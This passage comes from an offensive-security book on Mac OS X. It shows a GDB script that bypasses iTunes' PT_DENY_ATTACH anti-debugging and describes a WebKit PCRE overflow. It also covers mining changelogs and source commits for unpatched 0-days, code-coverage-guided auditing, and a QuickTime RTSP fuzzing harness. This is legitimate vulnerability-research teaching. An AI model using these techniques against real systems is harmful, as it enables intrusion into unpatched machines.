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When a process issues the PT_DENY_ATTACH request, it exits if it is cur-
rently being traced; otherwise it sets the P_LNOATTACH fl ag for the process. 
Later in the same function, if a process tries to attach to a process with the 
P_LNOATTACH fl ag set, it segfaults.

        if (uap->req == PT_ATTACH) {

…

                        if (ISSET(t->p_lflag, P_LNOATTACH)) {

                                psignal(p, SIGSEGV);

                        }

As for DTrace, the bsd/dev/dtrace/dtrace.c fi le shows what happens.

#if defined(__APPLE__)

        /*

         * If the thread on which this probe has fired belongs to a 

process marked P_LNOATTACH

         * then this enabling is not permitted to observe it. Move 

along, nothing to see here.

         */

        if (ISSET(current_proc()->p_lflag, P_LNOATTACH)) {

            continue;

        }

#endif /* __APPLE__ */

This comes from the dtrace_probe() function that the provider calls to fi re 
a probe. If the process has set the P_LNOATTACH flag, DTrace doesn’t do 
anything.

Luckily, this mechanism is easily circumvented. In Chapter 12, “Rootkits,” 
we’ll show you a method which could be used to defeat it using kernel modules. 
For now we can use GDB manually. The basic idea is to ensure that iTunes never 
(successfully) calls ptrace() with the PT_DENY_ATTACH request. We’ll inter-
cept this function call in the debugger and make sure that when the parameter 
PT_DENY_ATTACH is passed; the function doesn’t do anything. To accomplish 
this goal, make sure iTunes isn’t running, start up GDB, and set a conditional 
breakpoint at ptrace(). (Really, this is overkill, because iTunes has no business 
calling ptrace(), but better safe than sorry.) Then, when it hits, have GDB make 
the function return without actually executing. Place these commands in a 
GDB init fi le.

break ptrace

condition 1 *((unsigned int *) ($esp + 4)) == 0x1f

commands 1        

return

c

end
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You simply set a breakpoint at ptrace, and when it is hit you tell GDB to return 
to the previous function in the call chain, thus not executing the ptrace code. 
After starting iTunes,  you can safely detach from the process and debug/trace 
to your heart’s content. 

$ gdb /Applications/iTunes.app/Contents/MacOS/iTunes 

GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct  2 04:07:49 UTC 

2007)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “i386-apple-

darwin”…/Users/cmiller/.gdbinit:2: Error in sourced command file:

No symbol table is loaded.  Use the “file” command.

Reading symbols for shared libraries ........................ done

(gdb) source itunes.gdb 

Breakpoint 1 at 0xf493b24

(gdb) run

Starting program: /Applications/iTunes.app/Contents/MacOS/iTunes 

Reading symbols for shared libraries 

+++++++++++++++++++++++.................................................

................................ done

Breakpoint 1 at 0x960ebb24

Breakpoint 1, 0x960ebb24 in ptrace ()

Reading symbols for shared libraries .. done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

…

^C

Program received signal SIGINT, Interrupt.

0x960b04a6 in mach_msg_trap ()

(gdb) detach

Detaching from program: 

`/Applications/iTunes.app/Contents/MacOS/iTunes’, process 6340 local 

thread 0x2d03.

Notice how the breakpoint is hit early in the processes lifetime. You now 
have a running iTunes and it doesn’t have the evil P_LNOTRACE fl ag set. This 
means you can attach to it again at your leisure.

$ gdb -p 3757

GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct  2 04:07:49 UTC 

2007)
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Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “i386-apple-

darwin”./Users/cmiller/.gdbinit:2: Error in sourced command file:

No symbol table is loaded.  Use the “file” command.

/Users/cmiller/Desktop/3757: No such file or directory.

Attaching to process 3757.

Reading symbols for shared libraries . done

Reading symbols for shared libraries 

.......................................................................

...................................................................... 

done

0x967359e6 in mach_msg_trap ()

(gdb) 

DTrace works as well now, as apparently iTunes is displaying an episode of 
Chuck from Season 1:

$ sudo dtrace -qs filemon.d 3757

open(/dev/autofs_nowait)           = 20

open(/System/Library/Keyboard 

Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist)           = 21

close(21)

close(20)

open(/dev/autofs_nowait)           = 20

open(/System/Library/Keyboard 

Layouts/AppleKeyboardLayouts.bundle/Contents/Resources/English.lproj/

InfoPlist.strings)           = 21

close(21)

close(20)

close(20)

open(/.vol/234881026/6117526/07 Chuck Versus the Alma Mater.m4v)           

= 20

Order is restored to the universe.

Conclusion

Before diving in to learn about exploitation techniques, it is important to know 
how to dig into the internals of applications. We discussed GDB and ptrace on 
Mac OS X and how it differs from more-common implementations. We then 
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talked about the DTrace mechanism built into the kernel. DTrace allows kernel-
level runtime application tracing. We wrote several small D programs that per-
formed some useful functions for a security researcher, such as monitoring fi le 
usage, system calls, and memory allocations. The next topic was the Mac OS X 
port of PyDbg. This allowed us to write several Python scripts that performed 
debugging functions. The scripts included such things as searching memory 
and in-memory fuzzing. We also showed how Pai Mei could be used to help 
reverse-engineer a binary. Finally we discussed and showed how to circumvent 
Leopard’s attempt at anti-debugging.
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In the process of exploitation, vulnerabilities are what everything else builds 
upon. You can’t have an exploit without an underlying bug. In this case, a bug 
is an error in the functioning of a program, and a vulnerability is a bug that has 
security implications. The reliability and robustness of an exploit depends greatly 
on the qualities of the vulnerability that it takes advantage of. You can’t install a 
rootkit without fi rst running an exploit. So every aspect of taking over a computer 
begins with a bug. If software were perfect, security researchers would all be 
out of a job. Luckily, it isn’t, and Apple’s code is no exception. In this chapter we 
look at some basic approaches to fi nding bugs in Leopard. Many of these tech-
niques are general-purpose and would be valid for any piece of software; some 
are specifi c to the intricacies of Apple. Since Mac OS X contains both open- and 
closed-source components, we present approaches for fi nding vulnerabilities in 
source code and in binaries for which we don’t have the source code. In addi-
tion, we present some clever ways of taking advantage of the open-source public 
development process used by Apple to identify vulnerabilities in Leopard.

Bug-Hunting Strategies

Finding bugs, especially security-critical bugs, is both an art and a science. 
Some superb bug hunters have diffi culty explaining exactly how they fi nd their 
vulnerabilities; they just follow their gut. Others use a thorough, systematic 

C H A P T E R 

5

Finding Bugs
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approach to uncover these hard-to-fi nd bugs. Since it is diffi cult to write about 
instinct, we will spend some time introducing various techniques for fi nding 
software bugs. The majority of these techniques will be valid for any software 
(or hardware), but when possible we will discuss the particular tools available 
to carry them out on Leopard. We’ll also discuss some ways to fi nd bugs eas-
ily by taking advantage of some of the intricacies of the way Apple designs, 
develops, and tests its software. 

In general, there are two methods of searching for bugs in software: static 
and dynamic. In static analysis, the source code or a disassembly of the binary 
is analyzed for problems. This may be done with tools that look for various 
common errors, such as buffer overfl ows, or by hand. Even in the presence 
of sophisticated tools, at some point an experienced analyst will have to sort 
through the results and fi gure out which of the identifi ed areas of code are actu-
ally vulnerabilities. Sometimes this may be as diffi cult as fi nding the potential 
problem in the fi rst place. For example, consider the following function:

char *foo(char *src, int len){

      char *ret = malloc(len);

      strcpy(ret, src);

      return ret;

}

It is impossible to comment on the security of this function in isolation. It cer-
tainly has the potential to be problematic, but it might take signifi cant effort to 
determine whether a user has control over the inputs to this function. Can a user 
control src? Can the user control len? Most importantly, can a user control src 
and len independently? These are some of the diffi culties with static analysis.

On the other hand, dynamic analysis, often called fuzzing, consists of send-
ing invalid inputs to the program and observing whether critical errors occur. 
Invalid inputs for an HTTP GET request could consist of the following:

GET / HTTP/1.0000

GET //////////////////HTTP/1.0

GET / HT%n%nP/1.0

…

Obviously, there are infi nite such inputs to try. Dynamic analysis carries 
the advantage of not having false positives. If the program crashes, it crashes. 
However, dynamic analysis does not usually understand the internals of the 
program. For example, fuzzing consists of testing an application with invalid 
inputs. If these inputs are too abnormal, the program may quickly reject them, 
and so only a few functions of the program will actually be tested. An example 
of this might be a checksum that is incorrect. Likewise, if the inputs are not 
invalid enough, they may not cause any problems in the program under test. 
It can be very diffi cult to fi nd the right balance and generate the most effective 
fuzzed inputs.
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Oftentimes, the best solution is to use a combination of these two techniques. 
Use static analysis to fi nd suspicious-looking areas of code and then use dynamic 
analysis to try to test these regions. Or use dynamic analysis to fi nd areas of code 
that are hard to reach and thus hard to test, and then analyze those methods 
carefully using static techniques. This latter method is often helped with the 
use of code coverage, which we will cover shortly.

Old-School Source-Code Analysis

One of the oldest approaches of static analysis consists of simply reading the 
source code and looking for problems. Some of Apple’s code is open source. 
Unfortunately, most of it isn’t. In general, the nongraphical components of 
the operating system (Darwin)—including the kernel, command-line utili-
ties, system daemons, and shared libraries—tend to be open source. The GUI 
applications and libraries in Mac OS X are almost exclusively closed source. 
Nevertheless, they make use of open-source libraries and frameworks. For 
example, Safari is closed source, but relies heavily on the WebKit framework, 
which is open source. The following is an incomplete list of programs with 
security implications for which the source code is available. For a more detailed 
list, check out http://www.opensource.apple.com/darwinsource/.

 WebKit ■

 mDNSResponder ■

 SecurityTokend ■

 dyld ■

 launchd ■

 XNU ■

Some notable exceptions to the open-source policy include QuickTime Player, 
Preview, Mail, iTunes, and others. With the source code available, a dedicated 
attacker can simply sit down and start reading through it, looking for bugs. 
This doesn’t require any specialized tools or techniques, just a little skill and 
a lot of patience.

Getting to the Source
The Apple open-source site tends to be a little outdated, but Apple’s source-code 
repositories are always up-to-date. The following are two examples of how to 
get the source code using CVS and SVN.
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To get most projects, CVS can be used. Here is an example of downloading 
mDNSResponder:

export CVSROOT=:pserver:anonymous@anoncvs.opensource.apple.com:/cvs/root

$ cvs login

Logging in to 

:pserver:anonymous@anoncvs.opensource.apple.com:2401/cvs/root

CVS password: anonymous

$ cvs co mDNSResponder

To get WebKit, use the WebKit SVN server:

$ svn checkout http://svn.webkit.org/repository/webkit/trunk WebKit

From here, the source code is available to be read, audited, and compiled. For 
an exhaustive treatment of fi nding vulnerabilities in source code, consult The Art 
of Software Security Assessment: Identifying and Preventing Software Vulnerabilities 
(Addison-Wesley, 2006). Keep in mind that the source code is often newer than 
the actual binaries found in Leopard on the system. More on that in a bit.

Code Coverage
Code coverage is used to determine which lines of code in an application have 
been executed. This has been used for years by testers and quality-control engi-
neers to fi nd which code has been tested and which hasn’t. Security researchers 
can take advantage of it, too. Consider the case of code coverage used in con-
junction with dynamic analysis, i.e., fuzzing. After fuzzing the system under 
test, code-coverage information can be obtained. This information can be used 
to fi nd which portions of the code have not been tested yet with the fuzzing. 
(It cannot determine, in a meaningful way, whether a given executed line has 
been well tested, but it can determine which lines have not been tested). Such 
information can be used in refi ning the fuzzed inputs to improve their quality 
and execute additional code. Furthermore, fi nding the untested lines means 
they can be analyzed more carefully statically, or the dynamic analysis can 
be suitably improved to test those sections. Either way, code coverage can be a 
useful metric to analyze dynamic testing.

Therefore, one thing you can do with the Apple source code, besides read it, 
is to collect code-coverage information on it. For example, the WebKit regres-
sion-testing page (http://webkit.org/quality/testing.html) states the 
following:

If you are making changes to JavaScriptCore, there is an additional test suite you 
must run before landing changes. This is the Mozilla JavaScript test suite.
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Since WebKit is a very big project to look through for bugs, it might help to 
focus on the areas that are not well tested with these regression tests. That is to 
say, some code is not as well tested as others and the code that is not well tested 
probably has more bugs to fi nd. To collect code-coverage information, WebKit 
needs to be built with the proper fl ags.

$ WebKit/WebKitTools/Scripts/build-webkit –coverage

This should build the whole package with code-coverage information built in, 
i.e., with the GCC fl ags -fprofi le-arcs and -ftest-coverage. The build will likely fail 
at one point with an error complaining that warnings are treated as errors. In 
that case, you have to fi nd and remove the -Werror fl ag from the compilation. For 
example, open the Xcode project fi le JavaScriptGlue.xcodeproj. Select Project  ➯ 
Edit Project Settings and unclick the box by Treat Warnings as Errors. Make 
sure Confi guration is set to All Confi gurations. Then quit Xcode and rebuild the 
WebKit project. It should build all the way through without errors. The build 
succeeds if you see a message like the following:

===========================================================

 WebKit is now built. To run Safari with this newly-built

 code, use the “WebKitTools/Scripts/run-safari” script.

 NOTE: WebKit has been built with SVG support enabled.

 Safari will have SVG viewing capabilities.

 Your build supports the following (optional) SVG features: 

  * Basic SVG animation.

  * SVG foreign object.

  * SVG fonts.

  * SVG as image.

  * SVG <use> support.

===========================================================

If the code is really instrumented to do code coverage, it should have created 
a bunch of .gcno fi les that contain information about the code, such as basic 
block and control-fl ow information.

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSCallbackConstructor.gcno

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSCallbackFunction.gcno

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSCallbackObject.gcno

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSClassRef.gcno
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To test that the coverage data is being generated when executed, run a test 
program.

$ ./WebKitBuild/Release/testkjs 

Usage: testkjs -f file1 [-f file2…][-p][-- arguments…]

See if .gcda fi les are produced in response to the program being run. These 
fi les contain the dynamic code-coverage information—in particular, which lines 
of code have been executed.

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSCallbackConstructor.gcda

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSCallbackFunction.gcda

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSCallbackObject.gcda

WebKitBuild/JavaScriptCore.build/Release/JavaScriptCore.build/Objects-

normal/i386/JSClassRef.gcda

Since these fi les show up, we know it is working! Now run the JavaScript 
regression tests and see what code they cover.

$ WebKitTools/Scripts/run-webkit-test

This will generate a whole bunch of .gcda fi les, one for each source fi le (plus 
headers if they contain code). At this point, we could use gcov to view the results 
on a fi le-by-fi le basis, but a better way is to use lcov (http://ltp.sourceforge.
net/coverage/lcov.php) which is a graphical front-end for gcov. The fi rst thing 
lcov does is combine all the testing data (.gcda fi les) into one single fi le. WebKit 
is pretty complicated and lcov won’t work on it out of the box. To set things up 
for lcov, run the following commands:

$ cp Release/DerivedSources/JavaScriptCore/grammar.* JavaScriptCore/

mkdir JavaScriptCore/JavaScriptCore

cd JavaScriptCore/JavaScriptCore

ln -s ../kjs kjs

Then run lcov:

$ lcov -o javascriptcore.lcov -d WebKitBuild/JavaScriptCore.build -c -b 

JavaScriptCore

This command will generate a single fi le, in this case javascriptcore.lcov, 
which contains all the code-coverage information from the regression-test 
suite. lcov comes with a tool called genhtml that makes pretty HTML docu-
ments of this data.

$ genhtml -o javascriptcore-html -f javascriptcore.lcov 
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These HTML documents show code coverage per directory, fi le, and line, as 
well as overall program statistics; see Figure 5-1.

 Figure 5.1:  The main lcov file that describes the code coverage obtained by the 
JavaScriptCore regression tests

As you can see, overall 81 percent of the lines have been executed. There is 
a lot of useful data here for the bug fi nder. These HTML fi les (as well as the 
binary lcov fi les) can be easily searched to identify lines that were executed 
and not executed and those that contain certain source-code constructs. For 
example, a quick grep will fi nd all the “copies” that have never been executed 
during testing.

$ grep -i cpy * | grep lineNoCov

DateMath.h.gcov.html:<span class=”lineNum”>     112 </span><span 

class=”lineNoCov”>              0 :         strncpy(timeZone, 

inTm.tm_zone, inZoneSize);</span>

DateMath.h.gcov.html:<a name=”157”><span class=”lineNum”>     157 

</span><span class=”lineNoCov”>              0 :             

strncpy(timeZone, rhs.timeZone, inZoneSize);</span></a>

number_object.cpp.gcov.html:<span class=”lineNum”>      94 </span><span 

class=”lineNoCov”>              0 :             strncpy(buf.data(), 

result, decimalPoint);</span>

number_object.cpp.gcov.html:<a name=”285”><span class=”lineNum”>     285 

</span><span class=”lineNoCov”>              0 :             strncpy(buf 

+ i, result + 1, fractionalDigits);</span></a>

number_object.cpp.gcov.html:<span class=”lineNum”>     366 </span><span 
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class=”lineNoCov”>              0 :         strcpy(buf + i, 

result);</span>

ustring.cpp.gcov.html:<span class=”lineNum”>      86 </span><span 

class=”lineNoCov”>              0 :   memcpy(data, c, length + 1);</

span>

ustring.cpp.gcov.html:<span class=”lineNum”>     102 </span><span 

class=”lineNoCov”>              0 :     memcpy(data, b.data, length + 

1);</span>

ustring.cpp.gcov.html:<span class=”lineNum”>     127 </span><span 

class=”lineNoCov”>              0 :     memcpy(n, data, length);</span>

ustring.cpp.gcov.html:<a name=”129”><span class=”lineNum”>     129 

</span><span class=”lineNoCov”>              0 :     memcpy(n+length, 

t.data, t.length);</span></a>

ustring.cpp.gcov.html:<a name=”145”><span class=”lineNum”>     145 

</span><span class=”lineNoCov”>              0 :   memcpy(data, c, 

length + 1);</span></a>

ustring.cpp.gcov.html:<span class=”lineNum”>     160 </span><span 

class=”lineNoCov”>              0 :     memcpy(data, str.data, length + 

1);</span>

ustring.cpp.gcov.html:<span class=”lineNum”>     743 </span><span 

class=”lineNoCov”>              0 :         

memcpy(const_cast&lt;UChar*&gt;(data() + thisSize), t.data(), tSize * 

sizeof(UChar));</span>

ustring.cpp.gcov.html:<span class=”lineNum”>     854 </span><span 

class=”lineNoCov”>              0 :         memcpy(d, data(), length * 

sizeof(UChar));</span>

Looking at one of these in more detail shows that the entire function has 
never been called; see Figure 5-2.

 Figure 5.2:  Code coverage for one particular source file
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Notice in Figure 5-2 that some functions containing memory copies were 
never executed by the regression suite. How the code coverage of this test suite 
changes over time can often be very telling. For example, during this test from 
April 2008, 83.8 perecent of the kjs directory (which contains the main JavaScript 
parsing code) was executed and 91.1 perecent of the PCRE code was executed. 
One year earlier, 79.3 perecent of the kjs directory was tested and 54.7 perecent 
of the PCRE library was tested. This discrepancy between the kjs and PCRE 
directories in 2007 is what led us to pick so heavily on PCRE, since it was so much 
less tested than the JavaScript code. The authors of the JavaScript regression tests 
have greatly increased the effectiveness of the PCRE test cases since then.

CanSecWest 2008 Bug
In 2007 and 2008, the CanSecWest security conference sponsored a contest called 
Pwn2Own. In 2007 the contest centered on whether a fully patched MacBook 
could be exploited. One of the authors of this book, Dino Dai Zovi, won this con-
test, along with the $10,000 prize. In 2008 the contest was expanded to include 
computers running Linux and Microsoft Vista. The other author of this book, 
Charlie Miller, hacked a MacBook Air to take home the $10,000 prize. By com-
bining code-coverage analysis and source-code auditing, the bug used to win 
the second contest was found. 

As you’ve seen, code coverage is a useful tool that helps an auditor zero in 
on a particular section of code to review. The code-coverage statistics discussed 
earlier pointed us to the PCRE code to fi nd a variety of exploitable bugs. So when 
the 2008 contest rolled around, we took a hard look at the PCRE code shipped 
by Apple and discovered the bug we used to win. We’ll provide a closer look at 
this bug to give you a feel for what a real bug might look like in source code. 

The main function to compile regular expressions is jsRegExpCompile(). 
This function takes in the regular expression and calls calculateCompiledPat-
ternLength() to fi gure out how much space will be needed for the “compiled” 
regular expression, that is, the internal representation of the regular expression. 
It then allocates a buffer of that size. 

int length = calculateCompiledPatternLength(pattern, patternLength, 

ignoreCase, cd, errorcode);

…

size_t size = length + sizeof(JSRegExp);

JSRegExp* re = reinterpret_cast<JSRegExp*>(new char[size]);

Finally, it calls compileBranch() to fi ll in this re buffer with the compiled 
regular expression. A buffer overfl ow will occur if calculateCompiledPattern-
Length() fails to allocate enough space for the compiled regular expression. 
Inside this function, a variable called length is constantly increased as more 
space seems needed. This is the value returned by the function. The idea in 
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this particular vulnerability is to keep increasing the length variable until it 
overfl ows and becomes small again.

length += (max - min) * (duplength + 3 + 2*LINK_SIZE)

In this case, the attacker controls duplength. Choosing a suffi ciently large value 
makes the integer overfl ow so that a small buffer is allocated but a big buffer is 
copied in. Normally this might not be exploitable, because it would simply copy 
data off the end of mapped memory, but in this case it is possible to make the 
copy “error out” by giving it an invalid regular expression. Chapter 8, “Exploiting 
Heap Overfl ows,” offers more on this topic.

vi + Changelog = Leopard 0-day

Apple uses some open-source software, which is great. Unfortunately, this 
means it always needs to keep its products as up-to-date as the open-source 
software it relies upon. This can be diffi cult, as Apple has some overhead that 
the open-source developers don’t have, associated with building and testing its 
binaries as well as rolling out its products. Worse, sometimes Apple forks an 
open-source project, and after a long enough time it can become very diffi cult 
to perform “backports” when bugs are fi xed in the open-source product. All 
of this is important because it is possible to fi nd 0-days in Leopard by simply 
keeping an eye on open-source projects that Apple has forked and exploiting 
the bugs fi xed in the open-source project but not yet fi xed in Apple’s project. 
You might think this would give you only a few weeks’ head start before Apple 
patches, but in reality these types of bugs can go unresolved for a long time, 
even years. This is best described by a narrative.

In early 2007, Charlie Miller and Jake Honoroff were looking for a bug in 
WebKit. After working out the code coverage of the regression tests as discussed 
earlier, they focused in on the PCRE code. Writing a simple regular-expression 
fuzzer, they began to see errors like

PCRE compilation failed at offset 6: internal error: code overflow

Although the simple stub program they were using (pcredemo), which uti-
lized the WebKit library, never crashed, this error forced them to do a little 
more investigation. They found that the error was caused by invalid POSIX-
type expressions. In fact, each occurrence of the string “[[**]]” in the regular 
expression caused a heap buffer to be written an additional one byte past its 
end. The more “[[**]]” that appeared, the more memory was corrupted. The 
aforementioned error message indicates that a buffer overfl ow has occurred, 

95363c05.indd   12295363c05.indd   122 1/25/09   4:41:07 PM1/25/09   4:41:07 PM



 Chapter 5 ■ Finding Bugs 123

but, of course, at that point it is too late! In July 2007 this bug was used to exploit 
the iPhone, only weeks after it was released. Cute story, but what does this have 
to do with changelog-style? Well, the PCRE code that is in WebKit is a fork of 
the open-source PCRE project (www.pcre.org). Upon closer investigation, it was 
discovered that the iPhone bug had been fi xed in the open-source PCRE in July 
2006. The changelog for PCRE 6.7 states the following:

18.  A valid (though odd) pattern that looked like a POSIX character
class but used an invalid character after [ (for example [[,abc,]]) caused
pcre_compile() to give the error “Failed: internal error: code overfl ow” or
in some cases to crash with a glibc free() error. This could even happen if
the pattern terminated after [[ but there just happened to be a sequence of
letters, a binary zero, and a closing ] in the memory that followed.

This is exactly the WebKit regular-expression bug! So the question became, 
are there other bugs like this that are still in WebKit? The answer was yes. The 
following changelog entry revealed another WebKit bug (fi xed at the same time 
as the iPhone bug after Charlie Miller pointed it out to Apple):

26.  If a subpattern containing a named recursion or subroutine reference such
as (?P>B) was quantifi ed, for example (xxx(?P>B)){3}, the calculation of
the space required for the compiled pattern went wrong and gave too small a
value. Depending on the environment, this could lead to “Failed: internal
error: code overf low at offset 49” or “glibc detected double free or
corruption” errors.

Charlie Miller found this 0-day bug in WebKit without fuzzing and without a 
source-code audit—simply by reading a changelog. In his Black Hat–conference 
talk given in August 2007, he revealed this technique for fi nding bugs. Surely 
this was the end of the “changelog -tyle” bugs, now that the secret was out of 
the bag, right? Nope.

As pointed out by Chris Evans, the CanSecWest 2008 bug outlined in the 
previous section was also was fi xed in the same version of PCRE! Here is that 
entry from this infamous changelog:

11.  Subpatterns that are repeated with specifi c counts have to be replicated in
the compiled pattern. The size of memory for this was computed from the
length of the subpattern and the repeat count. The latter is limited to
65535, but there was no limit on the former, meaning that integer overfl ow
could in principle occur. The compiled length of a repeated subpattern is
now limited to 30,000 bytes in order to prevent this.

So once again, the open-source PCRE was fi xed in July 2006, and as late as 
March 2008 these bugs still existed in WebKit products such as Safari. I wonder 
how many other bugs lurk in various changelogs.

95363c05.indd   12395363c05.indd   123 1/25/09   4:41:07 PM1/25/09   4:41:07 PM



124 Part II ■ Discovering Vulnerabilities

Apple’s Prerelease-Vulnerability Collection

Another interesting fact about Apple using some open-source products is that 
important information can be gleaned from observing the changes in the open-
source project. Apple typically takes many weeks to supply patches for vulnera-
bilities, even those with available exploits. For example, consider that a functional 
exploit for the RTSP-response overfl ow was posted at http://milw0rm.com on 
November 23, 2007. QuickTime 7.3.1, which fi xed this bug, was not released 
until December 13, 2007. This is a period of 21 days from the time the exploit 
was made public. Considering the nature of this vulnerability, a simple stack 
overfl ow, presumably a large chunk of this time was spent testing the patch. You 
can assume that every patch will take a comparable amount of time to release. 
While this is interesting in its own right, it is even more interesting when you 
consider that Apple puts fi xes in the publicly available WebKit source tree before 
beginning to test its patches for its systems. This means keeping your eye on the 
WebKit SVN will give you access to vulnerabilities that should last on the order 
of two or three weeks! This is much easier (and faster) than reverse-engineering 
patches after the fact!

We’ll talk through a few examples to illustrate this point more clearly. The 
fi rst one is the original iPhone bug, discussed earlier. Charlie Miller submitted 
this to Apple on July 17, 2007. The next day, the following changes showed up 
at http://trac.webkit.org/projects/webkit/changeset/24430:

fi x <rdar://problem/5345432> PCRE computes length wrong for expressions 
such as “[**]” 
Test: fast/js/regexp-charclass-crash.html 
pcre/pcre_compile.c: (pcre_compile2): Fix the prefl ight code that calls check_
posix_syntax to match the actual regular expression compilation code; before it 
was missing the check of the fi rst character. 

This is exactly the bug, of course. The actual iPhone patch was released on July 
31, just beating the Black Hat talk scheduled for two days later. In this case, watch-
ing the SVN server would give an attacker a free period of two weeks to develop 
and launch an exploit against WebKit-enabled products around the world.

A second example of this behavior occurred with the CanSecWest 2008 bug, 
also discussed previously. This bug was used to win the aforementioned contest 
on March 27, 2008. The following changelog entry was posted the next day, as 
observed by Rhys Kidd.

Regular expressions with large nested repetition counts can have their compiled 
length calculated incorrectly. 
pcre/pcre_compile.cpp: 
(multiplyWithOverfl owCheck): 
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(calculateCompiledPatternLength): Check for overfl ow when dealing with 
nested repetition counts and bail with an error rather than returning incorrect 
results. 

Later that day, the source-code patch was posted as well. This is more than 
enough time to fi nd the bug and develop an exploit. The actual binary patch 
was released exactly three weeks later.

The moral of the story is, if you need to break into a Leopard box and you 
can code an exploit in fewer than 20 days, wait for the next WebKit bug and get 
busy. Don’t worry; you won’t have to wait long.

Fuzz Fun

Fuzzing, as mentioned earlier, is a technique for fi nding bugs in software, par-
ticularly security-related bugs. Doing static analysis, either via source-code 
review or by wading through the binary, is extremely time-consuming and 
diffi cult work that requires special expertise. Fuzzing, on the other hand, can 
be relatively simple to set up and, in some cases, can be quite effective. 

The idea behind fuzzing is to test the application by sending in millions of 
malformed inputs. These inputs might be command-line arguments, network 
traffi c, environment variables, fi les, or any other kind of data the application is 
willing to process. These anomalous inputs can cause the application to behave 
in a manner not intended by the developer. In particular, such inputs tend 
to exercise corner cases and may cause the application to fail completely. For 
example, a program may expect an integer to be positive and fail when a value 
of zero is used. The researcher must monitor the application being supplied the 
inputs and note any abnormal behavior.

The hardest part of fuzzing is creating high-quality fuzzed inputs. There are 
a few ways to do it. The fi rst is a mutation-based approach. This method begins 
with completely valid inputs. These might be legitimate packet captures, fi les 
downloaded from the Internet, valid command-line arguments, etc. Anomalies 
can then be added to these valid inputs. These inputs can be changed such 
that length fi elds are modifi ed, random bits are fl ipped, strings are replaced 
with long sequences of As or format-string specifi ers, or many other possibili-
ties. Using a good old random-number generator, an infi nite number of such 
anomalous inputs can be constructed from the valid inputs. Just be sure to use 
a variety of valid inputs as starting points to get better fuzz coverage. We’ll 
illustrate this technique in the next couple of sections.

Also common is the generation-based approach. Here, inputs are built com-
pletely from the specifi cation. In other words, the researcher needs to under-
stand completely the protocol or format of the inputs the program expects. 
With this knowledge, inputs of every conceivable variety can be produced and 
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anomalies can be added in a more intelligent manner. For example, length fi elds 
and checksums can be respected. By contrast, with the mutation-based approach 
this type of information is not known, so the application may quickly reject 
changes to the inputs. This increased knowledge of the underlying structure of 
the input, while taking much more time to develop, can lead to more thorough 
testing of the application and thus may fi nd more bugs. Generation-based fuzz-
ing is similar to many forms of quality-assurance testing. The major difference 
is that in fuzzing, the tester doesn’t care if the results of the program are correct, 
but only if a critical security failure occurs, such as a crash.

Other methods for input generation exist, but are still rather experimental. It 
is possible to generate inputs by statically analyzing the binary, using techniques 
borrowed from evolutionary biology to attempt to fi nd the inputs best at fi nd-
ing bugs, or trying to construct inputs by observing the application under test 
while consuming the inputs.

For more information on fuzzing, please consult Fuzzing: Brute Force 
Vulnerability Discovery, by Sutton, Greene, and Amini.

Network Fuzzing
Here we present a couple of quick fuzzing examples against Leopard, both tar-
geting QuickTime Player. The fi rst example looks at fuzzing a network protocol, 
and the second examines fi le fuzzing. 

One of the ways data can get into QuickTime Player is by connecting to a 
media server using the RTSP protocol. A couple of very simple vulnerabili-
ties in this protocol were discovered in late 2007 and early 2008 by Krystian 
Kloskowski and Luigi Auriemma, respectively. We’re about to show exactly how 
to carry out fuzzing of QuickTime Player’s RTSP parsing. This methodology 
would have revealed these two vulnerabilities, and, as you’ll see, even more 
unpatched problems.

For this discussion, we’re going to use the mutation-based approach, which 
means you’ll need valid data to start from. In this case, to get data all you need to 
do is repeatedly point the application at a media server and inject anomalies into 
the stream. QuickTime Player doesn’t seem to accept a URL as a command-line 
argument, but it will happily accept a fi le to process. You can easily construct a 
.qtl fi le that simply redirects the player to a remote media server:

<?xml version=”1.0”?>

<?quicktime type=”application/x-quicktime-media-link”?>

<embed src=”rtsp://192.168.1.231:6789/test.mp4” autoplay=”true”></embed>

In this case, to save bandwidth you can use the open-source Helix DNA 
Server as your RTSP server. You could just as easily use a URL on the Internet 
as found by Google. Notice the nonstandard port being used. You’ll see why 
this is necessary shortly. 
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Next you need a way to launch QuickTime Player repeatedly, let it run for 
a bit, then kill it and restart it. This is accomplished by way of the following 
simple script.

#!/usr/bin/perl

$i = 0;

while($i < 25000){

        $i++;

        $pid = fork;

        if($pid == 0){

        # child

                print `”/Applications/QuickTime 

Player.app/Contents/MacOS/QuickTime Player” test.qtl`; 

                exit;

        } else {

                print “PID: $pid\n”;

                sleep(10);

        }

        

        `kill -9 $pid`;

        kill 9, $pid;

        `killall -9 “QuickTime Player”`;

                   

        do {

                $kid = waitpid(-1, WNOHANG);

        } until $kid > 0;

        print “.”;

}

This script simply launches QuickTime Player with the argument of our .qtl 
fi le, waits 10 seconds, and then desperately tries to kill it. Such a variety of meth-
ods to kill the process is necessary because of the strange state that QuickTime 
Player can get into when bombarded with anomalous data.

Now we need a way to inject faults into the network stream. This is accom-
plished by way of the open-source ProxyFuzz fuzzer. This Python script acts as 
a man-in-the-middle proxy and simply adds anomalies to the network stream 
and forwards it on. ProxyFuzz is completely ignorant of the underlying proto-
col being fuzzed, in this case RTSP. It is a perfect example of a mutation-based 
fuzzer. To set up ProxyFuzz, simply run the following command line:

python proxyfuzz.py -l 6789 -r localhost -p 554 -c 

